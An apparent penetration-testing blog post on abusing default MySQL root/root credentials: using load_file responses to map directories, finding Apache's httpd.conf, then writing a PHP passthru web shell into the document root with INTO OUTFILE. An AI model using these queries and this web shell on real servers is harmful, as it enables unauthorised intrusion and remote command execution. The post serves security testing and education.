The scenario goes like this. I found a Windows 7 machine running a MySQL database configured with a username of "root" and a password of "root". In my experience, when a default configuration like this is found, the database usually ends up being empty and unused, hence the neglect. As was the case here. Since MySQL doesn't have native ability to run system commands through the database, many penetration testers walk away at this point. However, MySQL access can be used to do so much more. With functions such as "load_file", "INTO OUTFILE", and "INTO DUMPFILE", we can interact with the local file system even though we can't run commands. If we're lucky, the vulnerable server is also running a web server with some sort of server side technology (PHP, .NET, JSP, etc.) so we can use the aforementioned functions to write a web shell to the web server and launch it through a browser.
In this scenario, the server was also running Apache and PHP, the perfect combination for compromise. But this is where things get interesting. Where do you write web shell? The document root, right? Well, where is the document root? While the default location is usually a good place to start, it wasn't that easy this time. As it turns out, the target was a proprietary server, configured by the vendor for a specific purpose. When something like this happens, you have 2 options for finding the document root: try to guess the document root, or find the configuration file for the web server that tells you where the document root is. I typically elect to look for the configuration file, as documents roots are more likely to be customized during configuration than the server itself. This is where the challenge began. The default install web server location was changed as well. I had to find another way. And this is when I stumbled upon a way to use MySQL to enumerate the directory structure. Check it out.
The MySQL "load_file" function gives a database user the ability to load files from the file system into a table, or dump them to the screen. If the given path exists, it works. If the given path doesn't exist, it fails and reports a database error. So how does this help us find directories? Well, what happens when we try to "load_file" a directory instead of a file? This is where it gets neat. When you attempt to load a directory that isn't there, you get the expected response; an error similar to when a given file doesn't exist.
mysql> SELECT load_file("C:/file_does_not_exist.txt");
ERROR 13 (HY000): Can't get stat of 'C:\file_does_not_exist.txt' (Errcode: 2)
mysql> SELECT load_file("C:/dir_does_not_exist");
ERROR 13 (HY000): Can't get stat of 'C:\dir_does_not_exist' (Errcode: 2)
However, when the directory does exist, the path is legit, but there isn't any file content for MySQL to return, so we get back a NULL.
mysql> SELECT load_file("C:/");
+------------------+
| load_file("C:/") |
+------------------+
| NULL |
+------------------+
1 row in set (0.20 sec)
Alas, we have a positive vs. negative reaction we can use to enumerate directories. At this point it is a little like "Dirbusting". We can guess, discover, guess again, and continue digging until we find what we are looking for, in this case the Apache "httpd.conf" file.
I was able to enumerate the "Program Files" and "Program Files (x86)" directories (validating that it was a 64-bit OS, something that might come in handy later). Since the server response header was "Apache 2.X.X (Win32)", I assumed x86 and began enumerating that directory tree. I tried the typical "Apache Software Foundation" directory next, as that is the default install path for modern versions of Apache. It was not there. After digging and guessing for a while, I shared my frustration with Tim Medin. He recommended I try using the "8.3" abbreviation for the directory name. Doh! Why didn't I think of that!? It worked beautifully.
mysql> SELECT load_file("C:/Program Files (x86)/Apache Software Foundation");
ERROR 13 (HY000): Can't get stat of 'C:\Program Files (x86)\Apache Software Foundation' (Errcode: 2)
mysql> SELECT load_file("C:/Program Files (x86)/Apache~1");
+----------------------------------------------+
| load_file("C:/Program Files (x86)/Apache~1") |
+----------------------------------------------+
| NULL |
+----------------------------------------------+
1 row in set (0.19 sec)
From then on it was trial and error until I reached the "httpd.conf" file. I pulled it down from the server, enumerated the document root location from it, used the "INTO OUTFILE" function to write a simple PHP web shell to the document root, and shell was had.
mysql> SELECT load_file("C:/Program Files (x86)/Apache~1/Apache2/conf");
+-----------------------------------------------------------+
| load_file("C:/Program Files (x86)/Apache~1/Apache2/conf") |
+-----------------------------------------------------------+
| NULL |
+-----------------------------------------------------------+
1 row in set (0.17 sec)
mysql> SELECT load_file("C:/Program Files (x86)/Apache~1/Apache2/conf/httpd.conf");
<omit>
mysql> SELECT "<? passthru($_REQUEST['cmd']); ?>" INTO OUTFILE "C:/Program Files (x86)/<omit>/<omit>/htdocs/shell.php";
Query OK, 1 row affected (0.20 sec)
|